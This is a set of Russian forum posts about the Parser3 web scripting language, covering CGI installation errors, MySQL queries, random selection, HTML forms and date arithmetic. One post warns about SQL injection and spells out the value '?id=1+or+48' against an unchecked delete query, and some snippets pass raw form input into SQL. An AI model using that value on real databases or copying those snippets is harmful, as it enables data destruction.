При запуске парсер выдавал Unhandled Exception, а если убрать [b]auto.p[/b], то - ELF.\
\
Потом я, по-моему, прописал в [b].htaccess[/b] переменную окружения [b]CGI_PARSER_CONFIG[/b] к файлу, лежащему в той же папке, что и [b]parser3.cgi[/b].\
Теперь я стал получать Unhandled Exception.\
Заменив [b]release[/b] на [b]debug[/b], я увидел ошибку:\
\
parser already configured\
[b]conf[/b]\
/home/sites/site933/web/parser/auto.p(1)\
exception.type=parser.runtime\
\
При этом своих логов парсер не ведет, хотя запись в директорию разрешена.\
\
Логи сервера: [b]error.log[/b] и [b]web.log[/b]. В первом содержатся ошибки типа \"File does not exists\", но ни разу не упоминается ни один файл, который хоть как-то имеет отношение к парсеру или обрабатываемым им файлам. В [b]web.log[/b] - только запросы GET и информация о клиентах, выполняющих эти запросы. Если логи все-таки нужны, могу их выложить.\
\
Потом я решил попробовать переставить парсер в [b]/cgi-bin/[/b] - то же самое. \
\
Сейчас в [b].htaccess[/b] - [b]SetEnv CGI_PARSER_CONFIG /home/sites/site933/parser/auto.p[/b].\
И соостветственно директория [b]/home/sites/site933/parser/[/b], где лежат только конфиги.\
Сам парсер установлен в [b]/home/sites/site933/web/cgi-bin/[/b].\
Пробовал поставить туда стандартный файл для RedHat и собранный у себя без запрета для других групп.\
В первом случае - ELF, вот втором - Internal Server Error.\
\
Я нашел одного человека, который пытался ставить парсер на Мастаке, но он сказал, что так ничего и не добился (видимо, тот самый, о котором говорили в техподдержке), но ведь они сказали, что через shell-доступ кому-то удавалось.\
Сегодня мне, наверно, подключат shell-доступ. В любом случае сдаваться я не собираюсь, потому что в локале уже многое написано."
"8946","Вы пишите: \"попросить вашего админа запустить файл в консоли\". Какой файл попросить запустить его parser3.cgi? Я сообразительнее чем вы полагаете, имейте это ввиду (во-первых).\
\
С чем связана просьба запустить файл, с тем что на \"моем\" сервере нельзя в .htaccess вставлять команды запрещающие доступ к *.cfg-файлам? Или эти команды ни на что не влияют? \
\
Бесплатно кто будет запускать какие-то файлы? Спросить я могу один черт \
не раньше понедельника, да?\
"
"8947","Изменяешь в auto.p метод unhandled_exception следующим образом:\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]\
\
Полсе этого, смотришь на ошибку, которую тебе Парсер выдает и ... используешь поиск по форуму, чтобы найти ответ на свой вопрос."
"8948","Как у тебя все работает, если Парсер выдает Unhandled Exception??? Я чета не втыкаю в такой развод..."
"8953","а так как ты пишешь сортировка по только дням"
"8956","не думать - тут соображать надо! Сечешь?!"
"8960","Попросите админа запустить парсер в консоли.\
Для совсем сообразительных:\
[code]cd /path/to/parser3\
./parser3.cgi[/code]\
Как запустит - пусть расскажет, что увидел на экране,"
"8962","Как появится - пускай парсер в консоли - может криво собран (тот, который без групп), а может у них на сервере... (см. длинный тред от Misha ;-) )\
Результаты запуска в консоли пиши сюда - бум думать."
"8964","За наезды могу и забаннить."
"8965","подстрока, соответствующая шаблону (фрагментам шаблона) — [b]pattern-matching substring[/b]\
опции поиска — [b]search options[/b]\
не учитывающий регистр — [b]case-insensitive[/b]\
символ whitespace — [b]whitespace character[/b]\
все вхождения строки — [b]all occurrences of the pattern[/b]\
булевое значение — [b]Boolean value[/b]\
таблица совпадений — [b]matches’ table[/b]\
??? def — это [b]definite[/b] или [b]defined[/b]???\
математическое выражение — [b]mathematical expression[/b]\
в заданном формате — [b]in specified format[/b]\
разделитель — [b]separator[/b]\
части исходной строки (после разбиения) — [b]the resulted parts[/b]\
преобразование регистра — [b]changing case of the string[/b]\
верхний регистр, нижний регистр — [b]uppercase[/b], [b]lowercase[/b]\
таблица подстановок — [b]substitution settings[/b]\
надо задать $request:charset — [b]$request:charset must be specified[/b] (или [b]SET[/b]?) \
установить соединение — [b]establish connection[/b]\
сервер базы данных — [b]database server[/b]\
обязательный/необязательный параметр — [b]obligatory/non-obligatory parameter[/b]\
отбросить записи — [b]truncate entries[/b]\
результаты выборки — [b]fetching’ results[/b]\
выборка из базы данных — [b]retrieving/fetching from a database[/b]\
SQL-запрос — [b]SQL-query[/b]\
Конструировать SQL-запрос — [b]construct SQL-query[/b]\
верхние записи ответа — [b]upper entries of the response[/b]\
механизм поиска — [b]machinery of the search[/b]\
"
"8967","на кой такая фигня в примерах. за пять минут написать можно. Я понимаю, если какие-то сложные алгоритмы и т.п. но это.."
"8968","что-то не верится, что до этого никто такую фичу со скобками не придумал. Вы запатентовали эту идею? Я что-то соответствующего пресс-релиза не припоминаю. ;-) "
"8970","Вот установил MySQL под виндовс.. \
Как теперь из парсера к ней подключиться?"
"8971","http://www.parser.ru/docs/lang/app3mysql.htm\
\
RTFM ... RTFM ... RTFM ... RTFM ... RTFM "
"8972","так я и спрашивал, что ставить вместо root@localhost\
Теперь понял, что ничего не надо - потянет и так.. сенкс"
"8975","Читал, читал в доке, так и не допер, как и где прописать для парсера, чтоб он понимал, что я хочу подключится к mysql, я имею в виду .dll ...?\
\
Рациoнальное предложение к разработчикам улучшить (разжевать) по этой части доку.\
\
Благадарю..."
"8976","у меня с поставкой парсера (под винду) файл auto.p.dist пустой. (скачав еще раз, повторно получил тот же результат)... :-("
"8977","1. Какие критерии (верного || идентичного) отображения в разных браузерах? [я так понимаю, что там без полупрозрачности не обойтись, раз верхний бакгроунд двигается за окном браузера, а верхнии детали и тень полупрозрачны. А полупрозрачность PNG не корректно отображается даже в IE5.0]\
Просьба сообщить версии NN, OP, IE, и др. если нужно.\
\
2. Шаблон по минимому сжимаеться и по максимому растягивается?\
"
"8978","Взляд на 1й вопрос: для теней лучше написать javascript -- мол если не IE 5.xx -- падающие тени не показываем -- ибо иначе вообще не представляю как её сделать без dhtml(alpha + glow(для сглаживания краев)).\
Версии тебе никто не напишет -- т.к. это тестовое задание, а не рабочее ТЗ.\
Взглад на 2й вопрос: у меня да, и сжимался шаблон меньше, чем требовалось.\
Взгляд на тестовое задание: его придумали полные садисты, но иначе ведь никак не найти хорошего кодера.\
--\
наверно этот вопрос нужно было бы писать не на этот форум -- как бы парсер тут нипричем."
"8979","К чему неконструктивные наезды? Сделай лучше, сделай что-то свое...\
Если уж на то пошло, все выложенные Мишей и egr'ом примеры тоже делаются за пять минут одной левой (мне не сложно, я и покруче писал ;-) ). Однако, все ими пользуются и на них ссылаются. Не повод ли это задуматься?"
"8980","тесты и так поживут.\
а правами должны заниматься админы - если нет у человека надобности в умении привилегии раздавать - зачем голову забивать ;-)\
лично мне совсем не интересно (!= не знаю) какие там у меня привелегии на такую-то базу/таблицу и как оно работает. могу изменять/добалять/читать - мне больше ничего и не надо. в обратном случае - \"иду\" к админам.\
а root на домашних виндах? так чтобы доступ получить надо же быть на localhost в терминале. там вариантов по-дефолту root@localhost да root@127.0.0.1 - чего страшного то? а уж если кто на тебе в терминале сидит, так что ему мешает сами .MYD файлы читать? там же все почти открытым текстом сказано ;-)"
"8981","На этой самой домашней машине наверняка доступ снаружи к веб-серверу не ограничен. (Привилегиями то заниматься не хочется.) Значит любая ошибка в скрипте может (во всяком случае теоретически) привести к плачевным результатам - уничтожении всей БД.\
\
А читать MYD-файлы по идее может помешать (не предотвратить :-)) NTFS."
"8982","А этим, к сожалению, страдают все системы.\
И то, что мне в БД сотрут три тестовые новости меня волнует мало (что-то сложнее, чем отладка пары классов на локальной машине не делаю). А вот то, что мой диалапный/почтовый/админский пароль могут утащить меня заботит значительно больше. А это вопрос... э... риторический... ;-)"
"8983","То вспомнят: кажется именно он сделал гостевуху без ГБ и у него на сайте был скрипт который делал вывод статьи по-старнично - бил статью на куски и выводил их с ссылками с навигацией по станицам, вот это да, сейчас сам начал думать у себя поставить - тестов дофига, а выводить \"лентой\" - ломы"
"8984","Никаких javascript!!! настаиваю. Если бы вам довелось порисовать на 386 компьютере в 16-ти цветном редакторе, то вопрос с тенями разрешился бы сам собой.\
В отношении уменьшения, макет должен сжиматься и растягиваться под все известные и используемые форматы, не только PC-шные, но и MAC-ковские. И это тоже не проблема. На нарезку уходит реально около 5-6 часов. Хотя согласен, задание весьма запутанное."
"8985","но это же не повод толка кодеров на использование PNG24 формата. Вы вообче видели, что из полупрозрачности этого формата получается в самом распрастраненном браузере.\
\
У меня это задание пока что корректно отображается в Opera 6.x и пока не в чем больше.\
\
Не понятно на что расчитывать. Они ведь не пишут что это тестовое задание должно быть под такие-то браузеры и выше. А то ночнут их смотреть в IE4 - они там увидят:(\
"
"8986","например способ обращения к методам объекта(через точку) некоего класса."
"8987","Все алгоритмы должны быть простыми, меня этому ещё в школе учили. Об этом также пишется и в самом начале книги \"Исскуство программирования\" автора сами знаете, - простота это одно из пяти основных свойств алгоритма.\
\
Сложен не сам алгоритм, сложна система состоящая из множества модулей/частей и сделать все эти части единым целым и есть искусство."
"8988","def = defined\
разделитель предлагаю delimiter\
$request:charset must be specified \
необязательный — optional \
параметр — argument\
обязательный — вроде бы не встречается по тексту…\
отбросить — ignore\
результаты выборки — query result\
выборка из базы данных — database query [хотя не помню контекст]\
записи — records \
верхние X записи ответа [не помню по тексту] — top X records of response\
механизм поиска — search machanism"
"8989","Не возникает ли при этом перегрузки на сервере? Для обработки sql-серверу отправляются только sql запросы или же весь код, а потом MySQL сам выбирает из кода все запросы? Есть ли вообще какие-либо особенности написания p-кода внутри ^connect[]?"
"8992","Подключение к базе процесс не быстрый, а поэтому чем меньше у тебя коннектов тем лучше [хотя Парсер и кеширует их в пределах одного процесса] ... Рекомендуется почитать вот это: http://www.parser.ru/examples/comp/"
"8993","Но альфа все же присутствует, только внутри самого GIF."
"8994","Уверяю, пример смотрится нормально во всех броузерах, поддерживающих gif, jpg и CSS хотябы на уровне NetScape 4... Сам пробовал..."
"8995","Я говорю об эфекте полупрозрачности, и размытии краев, png24 только это умеет а например gif я пробывал класть вместо техже: зеркало, машиныки эти сверху мелкие и теней, и получается глубочайшое пиксильное чудо, на которое смотреть противно."
"8997","Делаю запрос в MySql\
[code]select id, name from customers order by rand[/code]\
Но рэндом совсем как-то не рэндом выходит. Из 100 запросов 87 раз показало запись № 3.\
Попробовал с тестовой базой из трех записей. Опять 100 запросов.\
80 раз № 3 и 20 раз № 2. \
Пробую немного извращенно :\
[code]\
$count[^table::sql{select count(*) as cnt from cutomers}]\
$rand(^math:random($count.cnt) + 1)\
$rend_cust[^table::sql{select name from customers where id='$rand'}]\
[/code]\
Великолепно пашет!\
Полный рэндом! \
Но по-моему этот подход неправильный да и нагрузка на проц больше.\
\
"
"8999","[b]есть[/b] вероятность, что обезьяны за пишущей машинкой будут подряд выдавать тома Британики.\
\
поэтому не надо ничему удивляться, тем более, на маленьких выборках.\
\
скажем, \
\
[code]\
$res[\
	$.0(0)\
	$.1(0)\
	$.2(0)\
]\
^for[i](1;10){\
	$rand(^math:random(3))\
	^res.$rand.inc[]\
}\
\
^for[k](0;2){\
	$k - $res.$k<br>\
}\
[/code]\
\
только что мне выдал\
[code]\
0 - 5\
1 - 1\
2 - 4\
[/code]\
\
о чём это говорит? правильно, ни о чём.\
\
увеличьте выборку ^for[i](1;1000), увидите, что, в общем, всё хорошо."
"9000","^math:random(верхняя_граница) выдает(внимание!) [b]псевдослучайное[/b] т.е. это далеко не случайное число.\
\
[quote]\"Тот кто использует для генерации случайных чисел арифметические методы, безусловно грешит.\"[/quote]\
\
По-моему Тьюринг.\
\
Короче это очень большая и сложная тема, - генераторы случайных чисел, если интересна теория, - читать Д. Кнута \"Искусство программирования\" 3-й том."
"9001","ну не возможно достигнуть эффекта нормальной(!!!!!) подающей тени гифовой сеткой с прозрачностью -!- как ни крути -!- эффект тени все равно сильно бьющий в глаза и самим решением и сильным различием с тенью в макете. Разве это хорошо, когда дизайнер рисует одно, а кодер делает другое ?\
Увы, но я остаюсь при своем мнение -- нормальное решение только на основе dhtml + javascript."
"9002","Я выбрал из таблицы 12 тысяч рэндомов, результат закинул в SPSS (http://www.spss.ru) и посчитал\
\
Вот линейное распределение по первой цифре rand()'a:[code]		Frequency	Percent	Valid Percent	Cumulative Percent\
Valid	0	1238	10,3	10,3	10,3\
	1	1196	10,0	10,0	20,3\
	2	1192	9,9	9,9	30,2\
	3	1217	10,1	10,1	40,4\
	4	1159	9,7	9,7	50,0\
	5	1181	9,8	9,8	59,9\
	6	1281	10,7	10,7	70,5\
	7	1185	9,9	9,9	80,4\
	8	1162	9,7	9,7	90,1\
	9	1189	9,9	9,9	100,0\
	Total	12000	100,0	100,0	[/code]- как видно, всё пляшет вокруг необходимых 10%\
\
Вот статистика по распределению:[code]Descriptive Statistics	\
N	12000\
Range	0,999846946\
Minimum	7,97436E-05\
Maximum	0,99992669\
Mean (statistic)	0,498148206\
Mean (std err)	0,002637325\
Std. Deviation	0,288904455\
Variance	0,083465784\
Skewness (statistic)	0,00206881\
Skewness (std.err)	0,022357885\
Kurtosis (statistic)	-1,199102943\
Rurtosis (std.err)	0,044712047[/code]\
\
Енджой :-)"
"9003","Это небольшой (а, вернее маленький скрипт) для работы внутрисетевой баннерной системы. Есть у нас на предприятии в локалке рекламная система такая. Вот такая\
[code]\
\
#ну сначала какого класса будем баннер показывать(внизу перечисляется)\
$ves_bannera(^math:random(100) + 1)\
\
$weight[\
#низкий\
^if($ves_bannera <= 5){1}\
#средний\
^if($ves_bannera > 5 && $ves_bannera <=30){2}\
#высокий\
^if($ves_bannera > 30 && $ves_bannera <=60){3}\
#высокий +\
^if($ves_bannera > 60 && $ves_bannera <=100){4} ]\
#выбираем сам баннер и показываем, а если нет его, то показываем заставку\
$banner[^table::sql{select id, text from banner where ves='$weight' order by rand()}]\
\
^if(def $banner){\
$banner.text\
}{\
\
наша баннерная сеть\
}\
\
[/code]"
"9004","Задача какая? Показать баннер с $weight(1) с вероятностью 5%, 2 - 25%, 3 - 30%, 4 - 40%? А зафиг? Или мы не это обсуждаем, а употребление rand как таковое?"
"9005","Ну для того, чтобы разбить баннеры на группы по приоритетам."
"9007","Можно ли узнать какие переменные присутствуют  вкоде, сохраннённом в другую переменную?\
$code{$a+$b}\
\
Просто хочется написать модифицированнный ^sql ^menu, который бы самостоятельно определял какие поля используются в коде menu и исходя из этого, формироваол список полей в SQL-инструкции SELECT.\
"
"9009","так нельзя, но можно так подготовить тело menu, чтобы оно пользовалось ^item[имя поля], и чтобы можно было выполнить тело меню без побочных эффектов.\
\
тогда можно смысл ^item один раз подменить, и выписать на бумажку имена использовавшихся полей.\
\
после чего использовать эти имена для формирования запроса.\
после чего открутить настоящий menu.\
\
только… всё это сильно похоже на бред. код усложняется, а польза невелика."
"9010","[code]\
@item[table;name]\
^if($recording){$used.$name(1);$table.$name}\
\
@main[]\
$code{\
 <h1>^item[$news;title]</h1>\
 ^item[$news;body]\
}\
$recording(1)\
$junk[$code]\
$recording(0)\
\
#create & execute sql > $news\
\
^news.menu{$code}\
[/code]"
"9011","$request:uri\
$request:query\
$request:charset\
маловато\
нужно HTTP_ACCEPT_LANGUAGE"
"9013","Он только для вин-серверов.\
А более похож наврное HTML:Mason"
"9014","Во блин\
и неподумал\
а я сам уже хэш $env набил через перл \
бывает же :)\
а в доках то нет!!!"
"9015","[quote]\
Класс предназначен для получения значения переменных окружения, задаваемых веб-сервером. Со списком стандартных переменных окружения можно ознакомиться по адресу http://www.w3c.org/cgi. Веб-сервер Apache задает значения ряда дополнительных переменных. \
\
...\
\
$env:переменная_окружения\
\
Метод возвращает значение указанной переменной окружения.\
\
[/quote]\
\
по-моему исчерпывающе ..."
"9017","Задача в упрощённом приближении такая -\
требуется разместить на страничке 2 формы одна под другой, примерно так: \
[code]\
<form> \
<table>.....в ячейках таблицы всякие поля и т.п......</table> \
</form> \
\
<form> \
<table>.....в ячейках таблицы всякие поля и т.п......</table> \
</form> \
[/code]\
\
Но сложность в том, что между ними получается зазор. В IE дырку удаётся устранить с помощью CSS padding и margin =0 \
А Netscape 4.6 и 4.7 это не понимают. \
\
Дырка исчезает и в NN когда делаешь так (не закрываешь form): \
[code]\
<form> \
<table>.....в ячейках таблицы всякие поля и т.п......</table> \
\
<form> \
<table>.....в ячейках таблицы всякие поля и т.п......</table> \
</form> \
[/code]\
\
Но это не правильно, т.к. вводя текст в поле второй формы и нажимая Enter, Submit срабатывает на первой!!!! \
\
Кто может помогите, плиз, советом."
"9018","[code]\
  <table><form><tr><td>   </td></tr></form></table>\
[/code]"
"9019","Спасибо.\
На www.forum.nbsp.ru мне именно такое решение уже посоветовали.\
Но не разъедится ли высота таблички? (спрашиваю, т.к. нет сейчас под руками NN, чтобы проверить самому)"
"9021","> наверняка доступ снаружи к веб-серверу не ограничен\
\
Ограничен. Файрволл (стандартный XP-шный или другой имеющися) - не дадут."
"9023","Вот такая проблемка:\
Когда вводишь в textarea большие данные и нажимаешь кнопку \"сохранить\" ничего не происходит... Форма просто перестает работать... В MySQL через phpMyADMIN точно такой-же текст заносится... Пробовал написть другую форму с другой таблицей - там выдает 500, но в базу заноситься...\
Сколько ни бился - не пойму в чем дело...\
помогите, плиз... ;)"
"9024","http://www.parser.ru/docs/lang/parserconfmethod.htm"
"9025","Код неработающий где?! А то может просто апач не стоит? ;-)"
"9026","System FreeBSD 4.6.2-RELEASE\
Apache Version Apache/1.3.26\
DOCUMENT_ROOT /usr/local/apache/htdocs\
\
1. В директорию htdocs положил test.html (755) с parser.ru\
2. Создал в /usr/local/apache файл .htaccess (644)\
[code]\
SetEnv CGI_PARSER_CONFIG /usr/local/apache/cgi-bin/auto.p\
AddHandler parsed-html .htdocs\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
3. В /usr/local/apache/cgi-bin parser3.cgi (700) и auto.p (775) из архива под freeBSD\
4. Создал директории charsets и lib, положил кодировки и драйвер базы в соответствующие\
5. Так и показывает код а не результат\
6. Посмотрел как сделал хостер на nodex.ru, отличий, кроме DOCUMENT_ROOT, не нашёл\
7. И с правами игрался и с .htaccess'ом и с auto.p - ни в какую\
\
Прошу совет или лицом в ошибку :)"
"9028","Как дату вынуть?\
Не хочеться: now.day + now.month + now.year \
\
Не ужели нет now.date ?\
\
Как из даты дату вычесть?\
\
Допустим хочется: До Нового года осталось XX дней."
"9029","[code]Forbidden\
You don't have permission to access /cgi-bin/parser3.cgi/index.html on this server.[/code]\
??? :) он parser3.cgi за директорию принял"
"9033","О... ща попробую...\
Только что означают все эти циферы?"
"9035","Попробуй запустить просто http://www.domen.ru/cgi-bin/parser3.cgi\
Что выдаст?"
"9036","Насчёт польза невелика — готов спорить.\
Это штука — первый шаг к избавлению от дублированию кода, человек в начале пишет спиовк полей в select'e, и потом пречисляет их же внутри menu. Если в последствии требуется добавить вывод ещё одного поля, нужно проконтроллировать, чтоб оно присутствовало в select'e, что по сути нелогично. Конечно, можно «select *», но так не культурно по другим причинам.\
\
Что касается решения, то уж проще передавать код как строку, парсить регэкспами переменные, затем process.\
\
То, что ns предлагаешь — это возврат к P2 :) Выглядит действительно бредово."
"9037","Да и 10 мегов там не выходило у меня никак...\
Форма даже не начинает обрабатываться...\
Вот: может тут че-нить увидите?\
[code]\
<form method=get action=?razd=no>\
^connect[$connect_string]{ \
   $news[^table::sql{select * from news where id='$form:news_id'}]\
<input name=id value=\"$news.id\" type=hidden>\
Дата: <input name=year value=\"^if(def $form:news_id){$news.year}{$now.year}\" size=4>\
<input name=month value=\"^if(def $form:news_id){$news.month}{$now.month}\" size=2>\
<input name=day value=\"^if(def $form:news_id){$news.day}{^if($now.day<10){0$now.day}{$now.day}}\" size=2>\
<input name=date value=\"^if(def $form:news_id){$news.date}{${now.year}_${now.month}_^if($now.day<10){0$now.day}{$now.day}}\"><br>\
Время: <input name=minute value=\"^if(def $form:news_id){$news.minute}{${now.hour}:^if($now.minute <10){0$now.minute}{$now.minute}}\"><br>\
Заголовок: <input name=header value=\"$news.header\" size=70><br>\
Текст:<br>\
<textarea name=body cols=80 rows=20>$news.body</textarea><br>\
<input type=checkbox name=addnews>Не добавлять в новости<br>\
Раздел: <input name=razd type=hidden value=\"$form:razd\">id <b>$form:razd</b><br>\
<input type=submit name=posted value=Сохранить>\
</form>\
}\
[/code]"
"9038","Попробывал, поначалу 403, подобрал пермишены, дело пошло, спасибо, дальше сам"
"9039","У меня только до 0,5 кб. выходит :(\
Вот код: моежт тут че неправильно?\
[code]\
<form method=get action=?razd=no>\
\
^connect[$connect_string]{ \
   $news[^table::sql{select * from news where id='$form:news_id'}]\
<input name=id value=\"$news.id\" type=hidden>\
Дата: <input name=year value=\"^if(def $form:news_id){$news.year}{$now.year}\" size=4>\
<input name=month value=\"^if(def $form:news_id){$news.month}{$now.month}\" size=2>\
<input name=day value=\"^if(def $form:news_id){$news.day}{^if($now.day<10){0$now.day}{$now.day}}\" size=2>\
<input name=date value=\"^if(def $form:news_id){$news.date}{${now.year}_${now.month}_^if($now.day<10){0$now.day}{$now.day}}\"><br>\
Время: <input name=minute value=\"^if(def $form:news_id){$news.minute}{${now.hour}:^if($now.minute <10){0$now.minute}{$now.minute}}\"><br>\
Заголовок: <input name=header value=\"$news.header\" size=70><br>\
Текст:<br>\
<textarea name=body cols=80 rows=20>$news.body</textarea><br>\
<input type=checkbox name=addnews>Не добавлять в новости<br>\
Раздел: <input name=razd type=hidden value=\"$form:razd\">id <b>$form:razd</b><br>\
<input type=submit name=posted value=Сохранить>\
</form>\
[/code]"
"9040","проблемы добавить поле: нет.\
дело двух секунд, а обобщить тут можно мало.\
\
1. не проще.\
2. на простом коде тела menu мой вариант будет работать быстрее [хотя на фоне select'а это и не важно].\
\
куда важнее планировать: если хорошо спланировано, то добавления столбцов к написанным запросам идут относительно редко."
"9042","вам хочется в таком формате, Коле Петрову в другом.\
что есть: описано в доке.\
\
и как дату из даты вычесть тоже… сюрприз: знаком минус.\
\
пример:\
\
[code]\
$now[^date::now[]]\
#$now[^date::create(2002;12;31;23;59;59)]\
$NY[^date::create($now.year+1;1)]\
Осталось дней до Нового Года: ^math:ceiling($NY-$now)\
[/code]"
"9043","В некоторых конструкторах системных объектов(таких как таблица-результат sql-запроса или конструктор хэша) применяются {...}.\
При этом такая возможность вцелом недокументирована, так, например, могу ли я создавать конструкторы своих объектов с {...} ?\
И чем это отличается от обычных [...] ?\
"
"9044","Ок, если серьёзно, то хотелось бы иметь возможность вместо:\
[code]\
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
       id=$form:id\
   }] \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
} \
[/code]\
\
писать: \
\
[code]\
^news.menu[ $.id[$form:id] ]{\
<b>$date - $header</b><br>\
     ^untaint{body}<br> \
 }[<br>] \
[/code]\
\
Думаю, тут существенность отличий, компактности кода гораздо заметнее..."
"9045","Даже, если такой синтаксис, на ваш взгляд хуже, чем существующий, то суть даже в этом. Суть в том, что, если кому-то так хочется, то так сделать, увы, не получится."
"9047","вы упорствуете в своём непонимании.\
\
автоматически запросить какие-то поля можно только в тривиальных случаях, вроде описанного вами.\
и в тривиальных случаях никто не умрёт, добавив поле в запрос.\
\
во всех остальных случаях, надо будет подумать головой, какой же запрос нужно создать.\
и автоматически неполучится по той же простой причине, по которой нельзя написать [code]^site[tz.doc][/code] и сразу получить результат."
"9048","[code]\
#template содержит %имя_поля\
@smart_menu[params;template]\
#выкусываем match'ем из template имена полей в $fields\
#и заменяем %имя_поля на $table.имя_поля\
$table[^table::sql{создаём запрос на основе $fields и $params}]\
#компилируем шаблон для быстрого исполнения внутри цикла\
^process{^$code{$template}}\
#рисуем\
^table.menu{$code}\
[/code]"
"9049","[code]\
^smart_menu[\
    $.table[news]\
    $.id[^form:id.int[]]\
][\
    <b>%date - %header</b><br>\
    ^untaint{%body}<br> \
    <br>\
]\
[/code]"
"9050","часто этим пренебрегают, вот и в вашем примере нет требования сделать строку от пользователя целым числом.\
\
представьте, что кто-то напишет там ?id=1+or+48\
ваш запрос delete from xx where id=$form:id сотрёт [i]не[/i]много лишнего."
"9051","Было дело. Какие-то проблемы с установкой?"
"9052","Ставили (не я - конечно =)\
А вообще такой вопрос уже был где-то на форуме (по 2му парсеру)"
"9053","PAF, Вы переоцениваете мою проблему...\
Я не стремлюсь конкурировать со встроенным механизмом, не претендую на универсальность.\
Дело в том, что, как вы выразились «тривиальных случаев» — 90%(грубо говоря) и они вполне достойны своего упрощённого механизма.\
А соответственно 90% пользователей(я их даже не буду называть программистами) достойны не забивать себе голову SQL-ем при создании своей «ещё одной» домашней страницей с блогом или новостями."
"9055","в проектах студии тривиальных случаев 1%"
"9056","и это подробно документировано:\
\
http://parser.ru/docs/lang/obj.htm\
http://parser.ru/docs/lang/params.htm\
"
"9057","http://www.xmlrpc.com/directory/1568/implementations\
Есть мысли по поводу прикручивания subj. к Парсеру ?"
"9058","встраивать планов нет. скоро можно будет написать самому на parser'е. поищите по форуму, я тут эту тему уже поднимал."
"9059","Имеется ввиду клиент.\
Лучше писать на C, а потом - парсером ?\
Или подходящие реализации (для Win и Unix) есть ?"
"9060","клиент пока использовать внешний. там хватает вариантов. то же perl.\
\
if дело пойдёт, встроим и клиента, благо библиотеки все готовы.\
\
ура общепринятым стандартам.\
\
\
если не секрет, где вам уже нужно?"
"9062","Хотелось бы взять из базы название класса и метода.\
И вызвать.\
\
Перерыв доку решение для себя не нашел.\
Возможно ли такое вообще ?"
"9063","Необходимо хранить описание товара: цена, цвет, высота, ширина, глубина, доп. возможности, материал и т.д и т.п. Причем для разных товаров могут использоваться не все характеристики одновременно.\
\
Каким образом лучьше хранить информацию в БД? В текстовом поле на разных строчках или для каждого свойства заводить отдельное поле в БД и выводить не пустые поля (допустим)"
"9064","хранить можно как угодно, но главное чтобы значения сохраняемые в каждом поле были атомарные(1НФ).\
\
О других аспектах читать соотв. литературу."
"9066","1. буквальный ответ:\
[code]\
@auto[]\
$classesUserAllowedToUse[\
   $.first[$first:CLASS]\
   $.second[$second:CLASS]\
]\
@invoke[className;methodName;methodParam1]\
^classesUserAllowedToUse.$className.$methodName[$methodParam1]\
[/code]\
\
пишу с листа, не проверяю. идея, надеюсь, ясна.\
\
рад, что возникают такие вопросы.\
\
2. ещё интересный подход: в разных файлах держать одноимённые классы. и делать просто \
[code]\
#не забудьте проверить имя, если оно получено от пользователя\
^use[нужный.p]\
[/code]\
и вызывать всё время \
[code]\
^фиксированное_имя.mmm[ppp]\
[/code]"
"9067","но она не в духе ООП, да и возможны труднообнаруживаемые ошибки в случае глубоких иерархий классов."
"9068","Спасибо за совет. Всё получается, только каждую из этих таблиц с формам нужно поместить ещё в ячейки таблицы.\
\
Вот такой код работает 100%, хотя в IE фокус проходит и без \"большой\" таблицы:\
[code]\
<table width=\"400\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
  <tr> \
    <td>\
      <table width=\"400\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" bgcolor=\"#009900\">\
        <form name=\"form1\" method=\"post\" action=\"\">\
          <tr> \
            <td width=\"106\">fgfgdhdfhgdh</td>\
            <td height=\"1\" width=\"218\"> \
              <input type=\"text\" name=\"textfield\">\
            </td>\
            <td width=\"76\">jhjhjgjg</td>\
          </tr>\
        </form>\
      </table>\
    </td>\
  </tr>\
  <tr> \
    <td>\
      <table width=\"400\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" bgcolor=\"#009900\">\
        <form name=\"form2\" method=\"post\" action=\"\">\
          <tr> \
            <td width=\"106\">fgfgdhdfhgdh</td>\
            <td height=\"1\" width=\"218\"> \
              <input type=\"text\" name=\"textfield2\">\
            </td>\
            <td width=\"76\">jhjhjgjg</td>\
          </tr>\
        </form>\
      </table>\
    </td>\
  </tr>\
</table>\
[/code]\
"
"9069","Что-то у меня шевелилось в этом направлении, в районе головного мозга :)\
\
Спасибо, работает."
"9070","Egr поясни пожалуйста.\
(я на полном серьезе)"
"9071","т.е. они не имеют внутренней структуры. Вообще говоря они её могут иметь, но нам это неважно."
"9072","Собственно вопрос - если я хочу убедиться, что запись в базу прошла хорошо, чем мне вытянуть ответ MySQL?\
Догадываюсь, что можно использовать\
[code]\
$answer[^table::sql{}]\
[/code]\
Но не знаю, какие поля в переменной answer будут доступны...\
\
В общем подскажите, как увидеть ответ MySQL\
Попутно второй вопрос - в случае \"плохого\" ответа ведь будет выдаваться Unhandled Exception? Как этого избежать и просто выдать сообщение об ошибке?"
"9075","Метод get чтобы смотреть передачу данных на момент отладки...\
ВСЕМ ОГРОМНОЕ СПАСИБО!!!\
Все заработало..."
"9076","Всем привет, всерьез заинтересовался Parser`ом только сейчас. Нет не потому что теперь мне доступно программирование (оно мне доступно давно), просто раньше как то все C++, Perl, а тут понимаешь, появились такие темы, как \"дизайн поменяли\", \"концепцию форм\" etc. Короче симптом всплыл - \"Дизайнер - Программист\" , не хватает еще Щюки (кстати, если юморить, то ..ке то как раз большинство пирога и перепадает - я имею ввиду начальство =)..\
\
 Что то типа Парсера по смыслу, в локальных масштабах я писал под себя. Назвал правда FOS-Meta Driver (Даже сейчас не припомню как рашифровывается, но смысл объединял универсальную разметку вывода  данных по шаблону + динамические собственые \"а ля\" тэги , т.е. продолжение скудного на мой взгляд SSI. В Итоге имеем тандем из двух недоделанных велосипедов (1. XML и XSL  2. Parser) \
\
Насчет первого все ясно: (Правда в XML не устраивает хранение данных - больно размашистое, я сторонник надевания шаблонов на бинарные, текстовые, и СУБД`шные данные - так мне было всегда удобнее и как экономичнее (душа спокойна за то что я засейвил допустим анкеты всех сотрудников в компактное файло, а не в чуть ли не готовое HTMLё.\
\
А насчет второго (Parser`a) ничего пока не знаю, все что на днях сделал - распечатал на 138 страниц доку, при первом приближении могу сказать, что дока приятная по структуре, т.е. начато с примеров и стиль такой от автора.\
\
